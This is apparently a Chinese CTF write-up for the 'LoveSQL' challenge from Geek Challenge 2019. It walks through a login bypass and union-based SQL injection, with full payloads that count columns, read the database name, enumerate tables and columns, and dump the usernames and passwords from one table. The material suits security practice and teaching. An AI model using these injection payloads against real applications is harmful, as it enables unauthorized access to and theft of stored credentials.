[极客大挑战 2019]LoveSQL

目录

[极客大挑战 2019]LoveSQL

首先简单测试一下题目

0x00

题目还是熟悉的登陆界面,先尝试一下万能密码的登陆
[极客大挑战 2019]LoveSQL
显示登陆成功,但是flag貌似不对
看起来像是MD5的加密,但是却无法解密

0x01

查询字段

admin' order by X #

当查询到4的时候返回Unknown column '4' in 'order clause'
然后用1' union select 1,2,3 #
[极客大挑战 2019]LoveSQL
所以回显点为2,3

0x02

查数据库名

1' union select 1,database(), version() #

[极客大挑战 2019]LoveSQL
得到数据库名为geek

0x03

爆表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

[极客大挑战 2019]LoveSQL
得到两个数据表名
我们尝试l0ve1ysq1这个数据表

0x04

爆字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' #

得到这三个子段

0x05

爆数据

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

得到flag

0x06

End
acc

上一篇:[极客大挑战 2019]Http


下一篇:全球及中国氢化镁行业发展前景与投资战略规划分析报告2022~2028年